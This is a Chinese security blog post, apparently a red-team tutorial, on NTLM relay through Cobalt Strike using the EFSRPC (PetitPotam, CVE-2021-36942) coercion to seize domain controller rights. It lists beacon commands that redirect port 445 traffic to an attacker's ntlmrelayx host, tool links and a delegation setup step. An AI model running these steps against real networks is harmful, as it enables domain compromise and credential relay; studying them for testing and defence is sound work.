CS中继-EFSRPC调用

阅读量424602

|

发布时间 : 2021-09-18 16:30:06

 

0x01前言

​ NTLM 中继是一种众所周知的技术,主要用于安全评估,以便在网络中的服务器上建立某种立足点或用于特权升级场景。这种攻击在没有为 LDAP 和 SMB 协议启用签名的网络中是可行的。relay攻击在内网中确实存在的,大家基本都会在自己环境测试一下成功,但是在实际攻防中使用的人确实很少。因为实现relay基本都需要impacket组件下的ntlmrelayx.py,内网渗透中也不能让你去对方linux机器上装impacket,而且红队使用CS的人居多,但是有很多人还是不知道如何使用CS进行relay,这篇文章将使用EFSRPC的relay,结合CS获取域控权限。

 

0x02 CS Relay

​ 当然,一切的攻击都存在前提,relay也不例外。

​ 首先,要让CS使用relay,这里采用PortBender cna脚本,原理也很简单:

  1. 接收流量:当前用户权限可以安装WinDivert64驱动,在windows 445端口有连接的时候会把流量重定向你定义的8445端口,在使用rportfwd_local 8445 192.168.1.1 445,此命令会在beacon中监听8445端口,把流量重定向到CS服务端内网中192.168.1.1的445端口,此时ntlmrelayx就监听在172.20.77.73的445端口,就可以在自己可控的LInux收到内网的445流量了。
  2. 回传流量:利用cs的socks功能,当然你觉得这方式慢也可以使用自己的SOCKS代理工具。在proxychains设置代理,在上一步中的ntlmrelayx监听时,前面加上proxychains,这样就实现了流量回传到目标内网环境的机器中。

原理图如下:

 

0x03 EFSRPC调用

​ 微软CVE链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942。

​ 此漏洞使用lsass进程中暴露出来的lsarpc接口,主要调用了MS-EFSR协议EfsRpcOpenFileRaw请求指定的IP。总结下来,本地请求就可以利用impersonte提权,远程就是relay中继。

微软文档使用图示演示了此RPC调用的过程:

​ 从上图可以看出来,使用EFSRPC 的UUID调用RPC建立连接,之后使用EfsRpcOpenFileRaw之类函数,执行所需要功能。

​ 所以关于RPC服务器的安全大致分为如下两类:

1.端点保护

​ 程序可以使用RpcServerUseProtseqEp API注册 RPC 服务器端点 。例如ncalrpc (ALPC)、ncacn_np(命名管道)或ncacn_ip_tcp(TCP 套接字)并创建监听端点。例如,创建一个名为DEMO的命名管道端点。

RpcServerUseProtseqEp(
    L"ncacn_np",
    RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
    L"\\\\pipe\\\\demo",
    nullptr  //SD acl控制
    );

​ 由于RPC 端点是多路复用的。没有将端点与要访问的 RPC 接口有硬关联。所以,我们可以连接到进程创建的任何端点。最终结果是,如果同一进程中存在安全性较低的端点,则可以通过其获取到高权限。一般来说,这使得依赖端点安全有风险,尤其是在运行多个服务(例如 LSASS)的进程中。

2.接口保护

​ 保护 RPC 服务器的一个方法是保护接口本身。 RpcServerRegisterIf3和 RpcServerInterfaceGroupCreate ,它们是在 Windows 8 中引入的。后者只是一种在一次调用中注册多个接口的方法,因此我们只关注前者。该 RpcServerRegisterIf3具有三个参数 SecurityDescriptor, IfCallback和 Flags影响安全。

3.实际测试

​ 使用Relay工具:https://github.com/topotam/PetitPotam,具体复现可以参考此[文章](https://www.freebuf.com/articles/system/282912.html)。

​ 内网relay调用:

​ 使用提权的工具:https://github.com/zcgonvh/EfsPotato

​ 通过模拟令牌,本地提权:

 

0x04 结合测试

​ 将relay与CS结合,实现中继,这里我选择的场景:无约束委派。

​ 环境准备:

1.vps linux 安装 impacket

2.可控的内网的机器

3.无约束委派的机器

​ 测试执行流程:

1.Get-ADComputer -Identity win10a | Set-ADAccountControl -TrustedForDelegation $true 设置无约束委派
2.创建SPN
3.创建DNS
4.ntlmrelayx监听
5.使用工具relay调用

CS上需要执行的命令:

  • socks 1080
  • rportfwd_local 8445 172.20.77.73 445 (本地内网172.20.77.73 nltmrelayx 监听的机器)或 rportfwd 8445 127.0.0.1 445 (在VPS上监听 445)
  • upload WinDivert64.sys
  • PortBender redirect 445 8445

效果如下:

 

0x05 总结

​ 本文主要就介绍了,在CS中如何进行relay,在实战中根据环境不同,可能限制还是很多。可控的高权限机器,relay的机器可以互通,网速慢导致丢包失败等,其中的rportfwd和socks,可以使用其他代理工具实现,速度也会快点。

本文由anw2原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/252841

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
anw2
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66